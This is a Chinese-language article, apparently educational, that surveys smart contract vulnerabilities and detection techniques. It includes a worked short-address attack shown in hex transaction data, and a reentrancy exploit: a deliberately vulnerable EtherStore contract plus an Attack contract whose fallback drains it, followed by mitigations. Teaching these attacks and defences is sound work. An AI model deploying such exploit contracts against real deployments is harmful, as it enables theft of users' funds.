随着智能合约数量的增多,去中心化应用(Decentralized Application, DApp)的推广,智能合约涉及的数字资产呈指数级别增长。相比传统软件,由于智能合约本身的一些特性使得其安全问题更加棘手,现实情况也更加严峻。
智能合约的可信度源自其不可篡改性,一旦被部署上线便无法修改。任何人都可对合约存在的安全漏洞发起攻击,如果合约没有相应的防御措施,便将无法遏止安全问题的恶化,从而严重损害合约本身的经济价值以及公众对项目的信任。并且很多项目会公开智能合约源码。源码的公开透明虽能提升用户对合约的信任度,却也大幅度降低了黑客攻击的成本,每一个暴露在开放网络上的智能合约都有可能成为专业黑客团队的金矿和攻击目标。在智能合约的开发过程中也非常容易出现纰漏。由于起步晚,发展时间短,智能合约本身就有很多不足,在开发的过程中也缺少一些成熟的安全工具来对合约进行安全审计,这些都会增加合约产生漏洞的概率。
智能合约中出现频率最高的10类安全问题为分别:代码重入、访问控制、整数溢出、未严格判断不安全函数调用返回值、拒绝服务(Denial of Service, DoS)、可预测的随机处理、竞争条件/非法预先交易、时间戳依赖、短地址攻击以及其他未知漏洞类型。
出于“代码即规则”,智能合约一旦被部署便不可更改,即便有恶意交易被记录下来,也不可以将其从区块链中删除。回滚交易的唯一方法是执行硬分叉,即通过修改区块链中的共识协议把区块链中的数据恢复到过去某一状态,而这无法回避开发者客观上存在滥用“专业垄断”的质疑,一定程度上冲击了区块链系统去中心化的理念。因此必须在智能合约上线之前,对其进行全面深入的代码安全审计与测试,充分分析潜在的安全威胁,尽可能规避漏洞。针对智能合约安全问题,应该从开发人员使用安全库进行开发、安全团队开展合约测试、合约审计这三个角度采取措施。
1) 形式化验证
形式化验证用逻辑语言对智能合约文档和代码进行形式化建模,通过严密的数学推理逻辑和证明,检查智能合约的功能正确性和安全属性,克服了用传统测试手段无法穷举所有可能输入的缺陷,能完全覆盖代码的运行期行为,可以确保在一定范围内的绝对正确,弥补了合约测试和合约审计工作的局限性,因此形式化验证已初步应用于高铁、航天、核电等安全攸关的领域,并且取得了非常好的效果。
Bhargavan等提出了一个智能合约分析和验证框架,该框架通过Solidity和EVM工具将智能合约源码和字节码转化成函数编程语言F*,以便分析和验证合约运行时安全性和功能正确性。目前,Coq、Isabelle/HOL、Why3等工具也实现了EVM的语义表示,并做了一些形式化验证智能合约的工作。
2) 模糊测试
模糊测试是一种通过构造非预期的输入数据并监视目标软件在运行过程中的异常结果来发现软件故障的方法。对智能合约进行模糊测试时,利用随机引擎生成大量的随机数据,构成可执行交易,参考测试结果的反馈,随机引擎动态调整生成的数据,从而探索尽可能多的智能合约状态空间。基于有限状态机分析每一笔交易的状态,检测是否存在攻击威胁。自动化工具Echidna采用了模糊测试技术来对EVM字节码进行检测,但是不能保证API功能的稳定性。
2.3) 符号执行
符号执行的核心思想是使用符号值代替具体值执行程序。对于程序分析过程中任意不确定值的变量,包括环境变量和输入等,都可以用符号值代替。符号执行中的“执行”是指解析程序可执行路径上的指令,根据其语义更新程序执行状态,等同于解释执行。借助符号执行检测智能合约漏洞的一般过程为,首先将按需将智能合约中不确定值的变量符号化,然后逐条解释执行程序中的指令,在解释执行过程中更新执行状态、搜集路径约束,并在分支节点处做fork执行,以完成程序中所有可执行路径的探索,发现安全问题。约束求解技术能够对符号执行中搜集的路径约束进行求解,判断路径是否可达,并在特定的程序点上检测变量的取值是否符合程序安全的规定或者可能满足漏洞存在的条件。
2.4) 污点分析
本质上来说,污点分析是针对污点变量的数据流分析技术。污点分析的一般流程为:首先识别污点信息在智能合约中的产生点并对其进行标记;然后按照实际需求和污点传播规则进行前向或后向数据依赖分析,得到污点的数据依赖和被依赖关系的指令集合;最终在一些关键的程序点检查关键的操作是否会受到污点信息的影响。
3 未来研究方向与改进思路
1)扩展形式化验证的应用范围。 对于目前学术界颇为关注的形式化验证方法,用数学推演来验证复杂系统,安全有效但难度很高。未来的研究应针对不同的业务目标定制对应的验证规范描述,突破成本昂贵、不适应大规模合约等技术限制,并扩展形式化验证的应用范围,从验证一般功能属性和安全属性、检测常见漏洞到逐步实现经济学、博弈论范畴中复杂业务逻辑及公平性等高阶性质的证明。
2)提取重点路径,缩减路径空间。 基于攻击者目标是非法窃取加密货币的假设,结合现有智能合约审计经验和已曝漏洞分析,寻找智能合约中易产生漏洞的高危指令,如SUICIDE、CALL、ORIGIN、ASSERT_FAIL等,定义涉及这些操作码的路径为重点路径。为了提高漏洞挖掘效率,实践中不必对所有可能的执行路径进行检查,仅符合执行关注的重点路径并进行漏洞验证,可以有效地缩减路径空间。
3)符号执行辅助的模糊测试。 现有的工具通常是对一种典型方法的具体实现,但是在执行具体漏洞挖掘任务时,因需求和重点不同,使用不同的辅助工具或者不同的检测方法组合往往能达到更好的效果。
未来可以研究动态符号执行辅助的模糊测试技术,使用动态符号执行弥补模糊测试理解语义的缺失,推断出到达特定程序状态的约束条件,通过约束求解产生能够触发测试者所关注逻辑的合理输入。据此恰当地改变模糊测试的输入,提供额外的测试用例,触发先前未覆盖的代码区域,因此本文设计一种符号执行辅助的智能合约模糊测试框架。
4)完善智能合约漏洞库,建立漏洞挖掘工具效率评价方法。 当前关于智能合约的测试尚未有标准的案例集,因此,为了验证智能合约漏洞挖掘工具的有效性,同时给智能合约的安全开发提供参考,下一步工作需要根据已爆发的安全事件以及合约审计经验,总结归纳出涵盖类型完善的智能合约漏洞库。
满足ERC-20
标准的代币都会实现transfer方法,这个方法在ERC-20标准中定义了函数的名称,参数类型,返回值和具体的行为: function transfer(address to, uint tokens) public returns (bool success);第一参数是发送代币的目的地址,第二个参数是发送token的数量。
当我们调用transfer函数向某个地址发送N个ERC-20代币的时候,交易的input数据分为3个部分:
前4字节是函数签名a9059cbb
第一个32字节的位置存储以太坊地址,目前以太坊地址是20个字节,高位会补0,得到
000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca
第二个32字节存储需要传输的代币数量,这里是1000000000000000000,转换为十六进制后为de0b6b3a7640000,在EVM中的存储形式为:
0000000000000000000000000000000000000000000000000de0b6b3a7640000
所有这些加在一起就是交易数据:
a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000
在以太坊中当调用transfer方法转移以太币时,如果允许用户输入了一个短地址,这里通常是交易所这里没有做处理,比如没有校验用户输入的地址长度是否合法就会出现问题。
如果一个以太坊地址如下,注意到结尾为0:
0x1234567890123456789012345678901234567800
当攻击者将后面的00省略时,这个地址的长度就会比正常地址短两位,EVM会从下一个参数的高位拿到00来补充,这就会导致一些问题了。这时,token数量参数其实就会少了1个字节,即token数量左移了一个字节,使得合约多发送很多代币出来。举个例子:
比如我们这样调用transfer(0x1234567890123456789012345678901234567800, 1000000000000000000)
那实际EVM看到的东西就是这样的
0xa9059cbb
0000000000000000000000001234567890123456789012345678901234567800
0000000000000000000000000000000000000000000000000de0b6b3a7640000
前面4字节是方法名的hash
中间32字节是address _to(转账的目标地址)
,高位补0
末尾32字节是uint256 _value(转账金额)
,高位补0,低位16进制存储
在transfer的ABI里,金额在目标地址的后面,并且是紧贴着的。机遇就在这里!
如果我们把末尾的两个零去掉,EVM依然会认为address是32位的,所以它会从value的高位取0来补充。这意味着_value就少了一位。最后变成了这样。
0xa9059cbb
0000000000000000000000001234567890123456789012345678901234567800
00000000000000000000000000000000000000000000000de0b6b3a764000000
de0b6b3a764000000
转换成十进制之后为256000000000000000000是原来的256倍。
当以太坊智能合约将Ether发送给未知地址(地址来源于输入或是调用者)时就有能会受到代码重入攻击攻击。
攻击者可以在地址对应合约的Fallback函数中,构建一段恶意代码。当易受攻击的合约将Ether发送给攻击者构建的恶意合约地址时,将执行Fallback函数,执行恶意代码。恶意代码可以是重新进入易受攻击的合约的相关代码,这样攻击者可以重新进入易受攻击合约,执行一些开发人员不希望执行的合约逻辑。
下面的例子演示了合约EtherStore是如何受到代码重入攻击的,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。
EtherStore.sol:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
// 发送者拥有的ether必须大于要撤回的ether余额
require(balances[msg.sender] >= _weiToWithdraw);
// 限制要撤回的ether余额必须小于1 ether
require(_weiToWithdraw <= withdrawalLimit);
// 限制之前一周没有发生过撤回操作
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
// 向调用者地址转移指定数量的ether
require(msg.sender.call.value(_weiToWithdraw)());
// 减少调用者所对应地址的余额
balances[msg.sender] -= _weiToWithdraw;
// 更新调用者上次调用该函数的时间
lastWithdrawTime[msg.sender] = now;
}
}
该合约有两个公共职能: depositFunds() 和 withdrawFunds() 。
depositFunds
函数的功能是增加发送者的余额,withdrawFunds
函数的功能允许发送人指定要撤回的Ether的数量,并且如果所要求的退出金额小于1Ether并且在之前一周没有发生撤回操作,它才会成功。但是,当恶意攻击者,使用“重入漏洞”对合约进行攻击时,将不会按照合约创建者希望的逻辑进行执行。
漏洞出在这一行代码:require(msg.sender.call.value(_weiToWithdraw)());
考虑下面这个恶意攻击者创建的攻击合约Attack.sol,攻击者可以利用攻击合约不按照规则进行Ether的提取撤回。
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// 将etherStore合约地址作为参数进行初始化
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// 检查调用者的转账金额是否大于等于1 ether
require(msg.value >= 1 ether);
// 调用EtherStore合约的depositFunds()方法存入1 ether
etherStore.depositFunds.value(1 ether)();
// 调用EtherStore合约的withdrawFunds方法退回1 ether
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
假设EtherStore.sol的合约地址是:0x01;Attack.sol的合约地址是:0x02;假设EtherStore.sol合约已经有用户使用过,并且将若干Ether存入了合约,并还没有进行撤回提取,将设当前合约的Ether余额是100ether。
攻击过程如下:
-
攻击者创建攻击合约,并执行构造函数,传入参数是以太坊保险库合约EtherStore对应的合约地址:0x1;
-
攻击者调用合约Attack(0x02),并存入若干Ether(大于1ether);
-
攻击者调用合约Attack(0x02)的pwnEtherStore() 方法;
-
攻击者调用易受攻击合约EtherStore的depositFunds方法,并转入1ether;
-
攻击者调用EtherStore合约的withdrawFunds方法撤回1 ether;
-
此时 EtherStore 合约的检查都会通过;
require(balances[msg.sender] >= _weiToWithdraw); require(_weiToWithdraw <= withdrawalLimit); require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
开始执行
require(msg.sender.call.value(_weiToWithdraw)());
像攻击者地址转移1 ether,符合最初设计目标。但是转账地址是合约账户,将会执行对应合约,也就是攻击者创建合约的fallback函数。 -
攻击者者合约Attack的fallback函数执行,检查余额发现是101(初始化100+EtherStore合约转账1),检查通过后继续调用EtherStore合约的withdrawFunds方法继续转移1 ether。
-
由于之前EtherStore合约没有调用
balances[msg.sender] -= _weiToWithdraw;
减少账户余额,导致仍然可以通过条件检查,继续转移ether。 -
重复5-8直到EtherStore合约中对应调用者地址的账户为1,不满足attack合约中fallback的判断条件为止。
最终的结果是,攻击者只用一笔交易,便立即从 EtherStore 合约中取出了(除去1个Ether以外)所有的 Ether。
当了解漏洞发生的原理以后就可以采取一些手段来预防漏洞的发生,有三种常用的预防技巧:
- 在将Ether发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送
2300 gas
给 不足以使目的地址/合约调用另一份合约(即重入发送合约)。 - 确保所有改变状态变量的逻辑发生在 Ether 被发送出合约(或任何外部调用)之前。在这个 EtherStore 例子中,EtherStore.sol应该首先改变合约转态再发送ether。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为检查效果交互(checks-effects-interactions) 模式。
- 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
这里�分析了短地址攻击和代码�重入攻击,更多的漏洞的例子可以通过Not So Smart Contracts查看,这是一个包含众多Solidity漏洞例子的项目。